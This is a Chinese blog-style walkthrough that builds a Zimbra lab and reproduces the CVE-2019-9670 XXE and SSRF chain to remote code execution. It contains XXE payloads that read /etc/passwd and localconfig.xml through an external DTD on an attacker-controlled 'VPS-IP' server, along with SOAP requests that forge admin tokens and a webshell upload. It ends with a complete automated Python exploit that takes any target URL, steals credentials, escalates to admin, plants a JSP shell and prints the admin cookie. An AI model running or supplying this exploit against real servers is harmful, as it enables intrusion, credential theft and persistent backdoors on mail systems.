'zimbra RCE环境搭建到复现再到exp编写'

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环境搭建

首先准备个ubantu 14.04服务器，换个更新源，更新下
安装辅助包，执行以下命令来安装相应的包

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apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wget


配置hostname和DNS服务器

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vi /etc/hostname
更改hostname为自己的域名，例如mail.test.com

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vi /etc/hosts 添加如下代码
192.168.37.137(本机IP) mail.test.com mail

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vi /etc/dnsmasq.conf 配置如下

server=192.168.37.137
domain=test.com
mx-host=test.com, mail.test.com, 5
mx-host=mail.test.com, mail.test.com, 5
listen-address=127.0.0.1
配置完成后重启电脑，sudo reboot
我这里是把它放在了519行，不过我感觉放哪儿都可以吧，2333


我已经提前下载好了Zimbra8.5.0版本，直接用finalshell托上去就行
也可使用命令下载8.6.0版本

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wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz

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cd进去之后执行./install然后一路按y，可能会报错
问题不大，删了就行
apt-get remove postfix


这里不需要zimbra-dnscache，因为我们上边使用的是dnsmasq，所以不需要此包
之后一路按y即可，安装可能需要些时间

可能会提示配置MX记录，no即可

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DNS ERROR resolving MX for mail.test.com
It is suggested that the domain name have an MX record configured in DNS
Change domain name? [Yes] no

带星号的为必填，设置一下就OK

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******* +Admin Password                        UNSET

设置好密码之后选25填写许可证，这里随便个/etc/passwd就行

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Enter the name of the file that contains the license: /etc/passwd
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*** CONFIGURATION COMPLETE - press 'a' to apply
Select from menu, or press 'a' to apply config (? - help) a
Save configuration data to a file? [Yes] yes
Save config in file: [/opt/zimbra/config.38577] 
Saving config in /opt/zimbra/config.38577...done.
The system will be modified - continue? [No] yes

如果期间报错，直接回车即可
使用su - zimbra命令切换用户
zmcontrol status查看zimbra服务器状态

访问IP:7071端口，跳转zimbra管理页面

利用XXE+SSRF组合拳RCE复现

第一步，测试是否存在CVE-2019-9670 XXE漏洞

POST请求/Autodiscover/Autodiscover.xml

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<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
      <EMailAddress>aaaaa</EMailAddress>
      <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
    </Request>
  </Autodiscover>

第二步，读取zimbra用户账号密码

成功读到用户密码，说明XXE验证成功
接下来构造payload读zimbra的配文件localconfig.xml
由于localconfig.xml为XML文件，需要加上CDATA标签才能作为文本读取，由于XXE不能内部实体进行拼接，所以此处需要使用外部dtd：

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<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

POST请求/Autodiscover/Autodiscover.xml

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<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "http://公网服务器/dtd">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>

第三步，利用获取到的密码获取低权限token

POST请求/service/soap或/service/admin/soap

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<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAccount">
        <account by="adminName">zimbra</account>
        <password>上一步得到密码</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>

第四步，利用SSRF漏洞通过proxy接口，访问admin的soap接口获取高权限Token

POST请求/service/proxy?target=https://127.0.0.1:7071/service/admin/soap
我这里可能环境有问题，没有使用SSRF直接请求/service/admin/soap即可获取高权限token

注意：
Host:后面加端口7071
Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN，值为上面请求所获取的token
发送同上Body内容，但是AuthRequest的xmlns要改为：urn:zimbraAdmin，否则获取的还是普通权限的Token

第五步，利用高权限token传文件getshell

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import requests

file= {
'filename1':(None,"whocare",None),
'clientFile':("sunian.jsp",r'<%                                                                                                                                                                                                                                                                              %>',"text/plain"), 
'requestId':(None,"12",None),
}
headers ={ 
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_eb68a2a147c98c6d0c2257d7638c4f1256493b28_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313539323733343831303035313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3433323433373532323b",#改成自己的admin_token
"Host":"foo:7071"
}
r=requests.post("https://192.168.37.137:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)    
print(r.text)


虽然执行报错了，但是不影响
shell地址：https://192.168.37.137:7071/downloads/sunian.jsp

exp的编写

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#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
base_url=sys.argv[1]
base_url=base_url.rstrip("/")
#利用request模块来发包和接受数据，sys模块用来传参，并删除最右侧的/斜杠

filename = "sunian.jsp"
fileContent = r'<%                                                                                                                                                                                                                                                                              %>'
#fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       %>'
#可使用第11行bypass
print(base_url)
#请自己在公网放置dtd文件
dtd_url="http://VPS-IP/exp.dtd"
"""
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
"""
xxe_data = r"""<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "{dtd}">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>""".format(dtd=dtd_url)

#XXE stage
headers = {
    "Content-Type":"application/xml"
}
print("[*] Get User Name/Password By XXE ")
r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)
#print r.text
if 'response schema not available' not in r.text:
    print("don't have xxe")
    exit()

#low_token Stage
import re
pattern_name = re.compile(r"&lt;key name=(\"|&quot;)zimbra_user(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
pattern_password = re.compile(r"&lt;key name=(\"|&quot;)zimbra_ldap_password(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]
#print(username)
#print(password)

auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="{xmlns}">
        <account by="adminName">{username}</account>
        <password>{password}</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>
"""

#print("[*] Get Low Privilege Auth Token")

#72行路径可能为/service/soap
r=requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False)

pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>")

low_priv_token = pattern_auth_token.findall(r.text)[0]

#print(low_priv_token)

# SSRF+Get Admin_Token Stage

headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";"
headers["Host"]="foo:7071"
#print("[*] Get Admin  Auth Token By SSRF")
#r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
r = requests.post(base_url+"/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False)
#若86行无法使用请使用85行

admin_token =pattern_auth_token.findall(r.text)[0]
#print("ADMIN_TOKEN:"+admin_token)

f = {
    'filename1':(None,"whocare",None),
    'clientFile':(filename,fileContent,"text/plain"),
    'requestId':(None,"12",None),
}

headers ={
    "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token
}
print("[*] 木马地址")
r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)
#print(r.text)
print(base_url+"/downloads/"+filename)

#print("[*] Request Result:")
s = requests.session()
r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers)
#print(r.text)
print("[*] 管理员cookie")
print(headers['Cookie'])

演示exp运行以及不使用cookie访问木马地址的情况

参考链接
https://www.jianshu.com/p/722bc70ff426
https://blog.csdn.net/weixin_40709439/article/details/90136596
https://blog.csdn.net/weixin_41732430/article/details/89054473